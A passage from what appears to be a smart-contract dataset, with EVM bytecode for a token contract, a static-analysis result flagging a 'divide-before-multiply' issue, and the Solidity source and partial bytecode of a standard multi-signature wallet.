6103a057600080fd5b506103a9610e56565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e75565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b5061042b610ebe565b6040518082815260200191505060405180910390f35b34801561044d57600080fd5b50610456610f26565b6040518082815260200191505060405180910390f35b34801561047857600080fd5b50610481610f3b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c15780820151818401526020810190506104a6565b50505050905090810190601f1680156104ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050857600080fd5b50610547600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fd9565b604051808215151515815260200191505060405180910390f35b34801561056d57600080fd5b5061058c600480360381019080803590602001909291905050506112fc565b005b34801561059a57600080fd5b506105a361154b565b005b6105d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b2565b6040518082815260200191505060405180910390f35b3480156105fb57600080fd5b506106046115c4565b005b600080600080600080600080600033975061062f6106288c601460ff16611738565b6064611773565b965061064961064288602360ff16611738565b6064611773565b9550610655878761178e565b94506106618b8861178e565b935061066c846117a7565b92506801000000000000000085029150600083118015610698575060065461069684600654611834565b115b15156106a357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff161415801561070c57508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156107595750600254600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156107ef576107a7600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611834565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061080a565b6107f98587611834565b945068010000000000000000850291505b600060065411156108755761082160065484611834565b60068190555060065468010000000000000000860281151561083f57fe5b0460076000828254019250508190555060065468010000000000000000860281151561086757fe5b04830282038203915061087d565b826006819055505b6108c6600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611834565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426109b9610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a3829850505050505050505092915050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610a8e57fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b2c5780601f10610b0157610100808354040283529160200191610b2c565b820191906000526020600020905b815481529060010190602001808311610b0f57829003601f168201915b505050505081565b600080600080610b52610b4b86601460ff16611738565b6064611773565b9250610b5e858461178e565b9150610b69826117a7565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610b9757600080fd5b610ba085611852565b9250610bba610bb384601960ff16611738565b6064611773565b9150610bc6838361178e565b9050809350505050919050565b601281565b6000806000610be76001610dea565b111515610bf357600080fd5b339150610c006000610dea565b9050680100000000000000008102600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d29573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006006541415610da1576402540be40064174876e800039350610dde565b610db2670de0b6b3a7640000611852565b9250610dcc610dc584601960ff16611738565b6064611773565b9150610dd8838361178e565b90508093505b50505090565b60025481565b60008033905082610e0357610dfe816109f4565b610e4e565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e4c826109f4565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060006006541415610ee3576402540be40064174876e800019350610f20565b610ef4670de0b6b3a7640000611852565b9250610f0e610f0784601460ff16611738565b6064611773565b9150610f1a8383611834565b90508093505b50505090565b600080339050610f3581610e75565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fd15780601f10610fa657610100808354040283529160200191610fd1565b820191906000526020600020905b815481529060010190602001808311610fb457829003601f168201915b505050505081565b600080600080600080610fea610f26565b111515610ff657600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054861115151561104757600080fd5b60006110536001610dea565b111561106257611061610bd8565b5b61107a61107387600a60ff16611738565b6064611773565b9250611086868461178e565b915061109183611852565b905061109f6006548461178e565b6006819055506110ee600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761178e565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117a600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611834565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061128360075460065468010000000000000000840281151561127d57fe5b04611834565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b600080600080600080600061130f610f26565b11151561131b57600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054871115151561136c57600080fd5b86945061137885611852565b935061139261138b85601960ff16611738565b6064611773565b925061139e848461178e565b91506113ac6006548661178e565b6006819055506113fb600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548661178e565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600060065411156114d5576114ce6007546006546801000000000000000086028115156114c857fe5b04611834565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442611518610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156115a6576115a5816112fc565b5b6115ae610bd8565b5050565b60006115be3483610606565b50919050565b6000806000806115d46001610dea565b1115156115e057600080fd5b6115ea6000610dea565b9250339150680100000000000000008302600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116db836000610606565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080600084141561174d576000915061176c565b828402905082848281151561175e57fe5b0414151561176857fe5b8091505b5092915050565b600080828481151561178157fe5b0490508091505092915050565b600082821115151561179c57fe5b818303905092915050565b6000806000670de0b6b3a764000064174876e8000291506006546402540be40061181d611817600654866402540be400600202020260026006540a60026402540be4000a02670de0b6b3a76400008a02670de0b6b3a76400006402540be40002600202026002890a0101016118fd565b8561178e565b81151561182657fe5b040390508092505050919050565b600080828401905083811015151561184857fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a76400006118e6670de0b6b3a764000085036402540be400670de0b6b3a7640000868115156118a457fe5b046402540be4000264174876e8000103026002670de0b6b3a7640000876002890a038115156118cf57fe5b046402540be400028115156118e057fe5b0461178e565b8115156118ef57fe5b049050809350505050919050565b60008060026001840181151561190f57fe5b0490508291505b8181101561194257809150600281828581151561192f57fe5b040181151561193a57fe5b049050611916565b509190505600a165627a7a72305820f8461d6edd4c66c235103f8c0887025a39e796ade3ea2de2833ad9602540b7610029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 7,830 |
0xBc829d274d3F3E1933c8546c02Afc874C5cC0845
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
library LibBytes {
/***********************************|
| Read Bytes Functions |
|__________________________________*/
/**
* @dev Reads a bytes32 value from a position in a byte array.
* @param b Byte array containing a bytes32 value.
* @param index Index in byte array of bytes32 value.
* @return result bytes32 value from byte array.
*/
function readBytes32(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes32 result)
{
require(
b.length >= index + 32,
"LibBytes#readBytes32 greater or equal to 32 length required"
);
// Arrays are prefixed by a 256 bit length parameter
index += 32;
// Read the bytes32 from array memory
assembly {
result := mload(add(b, index))
}
return result;
}
}
contract MultiSigLibEIP712 {
/***********************************|
| Constants |
|__________________________________*/
// EIP712Domain
string public constant EIP712_DOMAIN_NAME = "MultiSig";
string public constant EIP712_DOMAIN_VERSION = "v1";
// EIP712Domain Separator
bytes32 public EIP712_DOMAIN_SEPARATOR;
// SUBMIT_TRANSACTION_TYPE_HASH = keccak256("submitTransaction(uint256 transactionId,address destination,uint256 value,bytes data)");
bytes32 public constant SUBMIT_TRANSACTION_TYPE_HASH = 0x2c78e27c3bb2592e67e8d37ad1a95bfccd188e77557c22593b1af0b920a08295;
// CONFIRM_TRANSACTION_TYPE_HASH = keccak256("confirmTransaction(uint256 transactionId)");
bytes32 public constant CONFIRM_TRANSACTION_TYPE_HASH = 0x3e96bdc38d4133bc81813a187b2d41bc74332643ce7dbe82c7d94ead8366a65f;
constructor() public {
EIP712_DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(EIP712_DOMAIN_NAME)),
keccak256(bytes(EIP712_DOMAIN_VERSION)),
getChainID(),
address(this)
)
);
}
/**
* @dev Return `chainId`
*/
function getChainID() internal pure returns (uint) {
uint chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
// File: MultiSig.sol
/**
* @title MultiSig
*
* Multi-Signature Wallet.
* Allows multiple parties to agree on transactions before execution.
* Adapted from Stefan George's MultiSigWallet contract.
*
* Logic Changes:
* - Removed the fallback function
* - Ensure newOwner is notNull
*
* Syntax Changes:
* - Update Solidity syntax for 0.5.X: use `emit` keyword (events), use `view` keyword (functions)
* - Add braces to all `if` and `for` statements
* - Remove named return variables
* - Add space before and after comparison operators
* - Add ADDRESS_ZERO as a constant
* - uint => uint256
* - external_call => externalCall
*/
contract MultiSig is MultiSigLibEIP712 {
using LibBytes for bytes;
// ============ Events ============
event Deposit(address indexed depositer, uint256 amount);
event Confirmation(address indexed sender, uint256 indexed transactionId);
event Revocation(address indexed sender, uint256 indexed transactionId);
event Submission(uint256 indexed transactionId);
event Execution(uint256 indexed transactionId);
event ExecutionFailure(uint256 indexed transactionId);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint256 required);
// ============ Constants ============
uint256 constant public MAX_OWNER_COUNT = 50;
address constant ADDRESS_ZERO = address(0x0);
// ============ Storage ============
mapping (uint256 => Transaction) public transactions;
mapping (uint256 => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint256 public required;
uint256 public transactionCount;
// ============ Structs ============
struct Transaction {
address destination;
uint256 value;
bytes data;
bool executed;
}
// ============ Modifiers ============
modifier onlyWallet() {
/* solium-disable-next-line error-reason */
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(
address owner
) {
/* solium-disable-next-line error-reason */
require(!isOwner[owner]);
_;
}
modifier ownerExists(
address owner
) {
/* solium-disable-next-line error-reason */
require(isOwner[owner]);
_;
}
modifier transactionExists(
uint256 transactionId
) {
/* solium-disable-next-line error-reason */
require(transactions[transactionId].destination != ADDRESS_ZERO);
_;
}
modifier confirmed(
uint256 transactionId,
address owner
) {
/* solium-disable-next-line error-reason */
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(
uint256 transactionId,
address owner
) {
/* solium-disable-next-line error-reason */
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(
uint256 transactionId
) {
/* solium-disable-next-line error-reason */
require(!transactions[transactionId].executed);
_;
}
modifier notNull(
address _address
) {
/* solium-disable-next-line error-reason */
require(_address != ADDRESS_ZERO);
_;
}
modifier validRequirement(
uint256 ownerCount,
uint256 _required
) {
/* solium-disable-next-line error-reason */
require(
ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0
);
_;
}
// ========= Fallback function ==========
receive() external payable {
emit Deposit(msg.sender, msg.value);
}
// ============ Constructor ============
/**
* Contract constructor sets initial owners and required number of confirmations.
*
* @param _owners List of initial owners.
* @param _required Number of required confirmations.
*/
constructor(
address[] memory _owners,
uint256 _required
)
public
validRequirement(_owners.length, _required)
MultiSigLibEIP712()
{
for (uint256 i = 0; i < _owners.length; i++) {
/* solium-disable-next-line error-reason */
require(!isOwner[_owners[i]] && _owners[i] != ADDRESS_ZERO);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
// ============ Wallet-Only Functions ============
/**
* Allows to add a new owner. Transaction has to be sent by wallet.
*
* @param owner Address of new owner.
*/
function addOwner(
address owner
)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/**
* Allows to remove an owner. Transaction has to be sent by wallet.
*
* @param owner Address of owner.
*/
function removeOwner(
address owner
)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint256 i = 0; i < owners.length - 1; i++) {
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
}
delete owners[owners.length - 1];
if (required > owners.length) {
changeRequirement(owners.length);
}
emit OwnerRemoval(owner);
}
/**
* Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
*
* @param owner Address of owner to be replaced.
* @param newOwner Address of new owner.
*/
function replaceOwner(
address owner,
address newOwner
)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
notNull(newOwner)
{
for (uint256 i = 0; i < owners.length; i++) {
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/**
* Allows to change the number of required confirmations. Transaction has to be sent by wallet.
*
* @param _required Number of required confirmations.
*/
function changeRequirement(
uint256 _required
)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
// ============ Owner Functions ============
/**
* Allows an owner to submit and confirm a transaction.
*
* @param destination Transaction target address.
* @param value Transaction ether value.
* @param data Transaction data payload.
* @return Transaction ID.
*/
function submitTransaction(
address destination,
uint256 value,
bytes memory data
)
public
returns (uint256)
{
uint256 transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
return transactionId;
}
/**
* Allows an owner to confirm a transaction.
*
* @param transactionId Transaction ID.
*/
function confirmTransaction(
uint256 transactionId
)
public
virtual
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/**
* Allows an owner to revoke a confirmation for a transaction.
*
* @param transactionId Transaction ID.
*/
function revokeConfirmation(
uint256 transactionId
)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/**
* Allows an owner to execute a confirmed transaction.
*
* @param transactionId Transaction ID.
*/
function executeTransaction(
uint256 transactionId
)
public
virtual
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (externalCall(
txn.destination,
txn.value,
txn.data.length,
txn.data)
) {
emit Execution(transactionId);
} else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// ============ Getter Functions ============
/**
* Returns the confirmation status of a transaction.
*
* @param transactionId Transaction ID.
* @return Confirmation status.
*/
function isConfirmed(
uint256 transactionId
)
public
view
returns (bool)
{
uint256 count = 0;
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
count += 1;
}
if (count == required) {
return true;
}
}
}
/**
* Returns number of confirmations of a transaction.
*
* @param transactionId Transaction ID.
* @return Number of confirmations.
*/
function getConfirmationCount(
uint256 transactionId
)
public
view
returns (uint256)
{
uint256 count = 0;
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
count += 1;
}
}
return count;
}
/**
* Returns total number of transactions after filers are applied.
*
* @param pending Include pending transactions.
* @param executed Include executed transactions.
* @return Total number of transactions after filters are applied.
*/
function getTransactionCount(
bool pending,
bool executed
)
public
view
returns (uint256)
{
uint256 count = 0;
for (uint256 i = 0; i < transactionCount; i++) {
if (
pending && !transactions[i].executed
|| executed && transactions[i].executed
) {
count += 1;
}
}
return count;
}
/**
* Returns array of owners.
*
* @return Array of owner addresses.
*/
function getOwners()
public
view
returns (address[] memory)
{
return owners;
}
/**
* Returns array with owner addresses, which confirmed transaction.
*
* @param transactionId Transaction ID.
* @return Array of owner addresses.
*/
function getConfirmations(
uint256 transactionId
)
public
view
returns (address[] memory)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint256 count = 0;
uint256 i;
for (i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
}
address[] memory _confirmations = new address[](count);
for (i = 0; i < count; i++) {
_confirmations[i] = confirmationsTemp[i];
}
return _confirmations;
}
/**
* Returns list of transaction IDs in defined range.
*
* @param from Index start position of transaction array.
* @param to Index end position of transaction array.
* @param pending Include pending transactions.
* @param executed Include executed transactions.
* @return Array of transaction IDs.
*/
function getTransactionIds(
uint256 from,
uint256 to,
bool pending,
bool executed
)
public
view
returns (uint256[] memory)
{
uint256[] memory transactionIdsTemp = new uint256[](transactionCount);
uint256 count = 0;
uint256 i;
for (i = 0; i < transactionCount; i++) {
if (
pending && !transactions[i].executed
|| executed && transactions[i].executed
) {
transactionIdsTemp[count] = i;
count += 1;
}
}
uint256[] memory _transactionIds = new uint256[](to - from);
for (i = from; i < to; i++) {
_transactionIds[i - from] = transactionIdsTemp[i];
}
return _transactionIds;
}
// ============ Helper Functions ============
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function externalCall(
address destination,
uint256 value,
uint256 dataLength,
bytes memory data
)
internal
returns (bool)
{
bool result;
/* solium-disable-next-line security/no-inline-assembly */
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas(), 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/**
* Adds a new transaction to the transaction mapping, if transaction does not exist yet.
*
* @param destination Transaction target address.
* @param value Transaction ether value.
* @param data Transaction data payload.
* @return Transaction ID.
*/
function addTransaction(
address destination,
uint256 value,
bytes memory data
)
internal
notNull(destination)
returns (uint256)
{
uint256 transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
return transactionId;
}
}
|
0x6080604052600436106101855760003560e01c8063a0e67e2b116100d1578063c64274741161008a578063dc8452cd11610064578063dc8452cd1461063e578063e20056e614610669578063ee22610b14610692578063fd070296146106bb576101da565b8063c6427474146105ab578063d74f8edd146105e8578063dab400f314610613576101da565b8063a0e67e2b14610489578063a8abe69a146104b4578063b5dc40c3146104f1578063b77bf6001461052e578063ba51a6df14610559578063c01a8c8414610582576101da565b80635cc333211161013e5780638b51d13f116101185780638b51d13f146103b65780639996cde5146103f35780639ace38c21461041e5780639c25ddad1461045e576101da565b80635cc33321146103255780637065cb4814610350578063784547a714610379576101da565b8063025e7c27146101df578063173825d91461021c57806320ea8d86146102455780632f54bf6e1461026e5780633411c81c146102ab57806354741525146102e8576101da565b366101da573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040516101d09190612667565b60405180910390a2005b600080fd5b3480156101eb57600080fd5b50610206600480360381019061020191906122e4565b6106e6565b6040516102139190612564565b60405180910390f35b34801561022857600080fd5b50610243600480360381019061023e91906121dc565b610722565b005b34801561025157600080fd5b5061026c600480360381019061026791906122e4565b6109d6565b005b34801561027a57600080fd5b50610295600480360381019061029091906121dc565b610b79565b6040516102a2919061260f565b60405180910390f35b3480156102b757600080fd5b506102d260048036038101906102cd919061230d565b610b99565b6040516102df919061260f565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a91906122a8565b610bc8565b60405161031c9190612667565b60405180910390f35b34801561033157600080fd5b5061033a610c62565b6040516103479190612645565b60405180910390f35b34801561035c57600080fd5b50610377600480360381019061037291906121dc565b610c9b565b005b34801561038557600080fd5b506103a0600480360381019061039b91906122e4565b610eab565b6040516103ad919061260f565b60405180910390f35b3480156103c257600080fd5b506103dd60048036038101906103d891906122e4565b610f8d565b6040516103ea9190612667565b60405180910390f35b3480156103ff57600080fd5b5061040861105c565b604051610415919061262a565b60405180910390f35b34801561042a57600080fd5b50610445600480360381019061044091906122e4565b611083565b604051610455949392919061257f565b60405180910390f35b34801561046a57600080fd5b50610473611178565b604051610480919061262a565b60405180910390f35b34801561049557600080fd5b5061049e61119f565b6040516104ab91906125cb565b60405180910390f35b3480156104c057600080fd5b506104db60048036038101906104d69190612349565b61122d565b6040516104e891906125ed565b60405180910390f35b3480156104fd57600080fd5b50610518600480360381019061051391906122e4565b6113c0565b60405161052591906125cb565b60405180910390f35b34801561053a57600080fd5b50610543611619565b6040516105509190612667565b60405180910390f35b34801561056557600080fd5b50610580600480360381019061057b91906122e4565b61161f565b005b34801561058e57600080fd5b506105a960048036038101906105a491906122e4565b6116d5565b005b3480156105b757600080fd5b506105d260048036038101906105cd9190612241565b6118c4565b6040516105df9190612667565b60405180910390f35b3480156105f457600080fd5b506105fd6118e8565b60405161060a9190612667565b60405180910390f35b34801561061f57600080fd5b506106286118ed565b604051610635919061262a565b60405180910390f35b34801561064a57600080fd5b506106536118f3565b6040516106609190612667565b60405180910390f35b34801561067557600080fd5b50610690600480360381019061068b9190612205565b6118f9565b005b34801561069e57600080fd5b506106b960048036038101906106b491906122e4565b611c3c565b005b3480156106c757600080fd5b506106d0611ee0565b6040516106dd9190612645565b60405180910390f35b600481815481106106f357fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461075a57600080fd5b80600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166107b157600080fd5b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060005b60016004805490500381101561092e578273ffffffffffffffffffffffffffffffffffffffff166004828154811061084057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156109215760046001600480549050038154811061089c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600482815481106108d457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061092e565b808060010191505061080c565b5060046001600480549050038154811061094457fe5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600480549050600554111561098f5761098e60048054905061161f565b5b8173ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25050565b33600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610a2d57600080fd5b81336002600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610a9657600080fd5b836001600082815260200190815260200160002060030160009054906101000a900460ff1615610ac557600080fd5b60006002600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60036020528060005260406000206000915054906101000a900460ff1681565b60026020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b6000806000905060005b600654811015610c5757848015610c0a57506001600082815260200190815260200160002060030160009054906101000a900460ff16155b80610c3e5750838015610c3d57506001600082815260200190815260200160002060030160009054906101000a900460ff165b5b15610c4a576001820191505b8080600101915050610bd2565b508091505092915050565b6040518060400160405280600281526020017f763100000000000000000000000000000000000000000000000000000000000081525081565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cd357600080fd5b80600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d2b57600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d6657600080fd5b60016004805490500160055460328211158015610d835750818111155b8015610d90575060008114155b8015610d9d575060008214155b610da657600080fd5b6001600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506004859080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000905060005b600480549050811015610f855760026000858152602001908152602001600020600060048381548110610ee457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f63576001820191505b600554821415610f7857600192505050610f88565b8080600101915050610eb5565b50505b919050565b6000806000905060005b6004805490508110156110525760026000858152602001908152602001600020600060048381548110610fc657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611045576001820191505b8080600101915050610f97565b5080915050919050565b7f3e96bdc38d4133bc81813a187b2d41bc74332643ce7dbe82c7d94ead8366a65f60001b81565b60016020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561115b5780601f106111305761010080835404028352916020019161115b565b820191906000526020600020905b81548152906001019060200180831161113e57829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b7f2c78e27c3bb2592e67e8d37ad1a95bfccd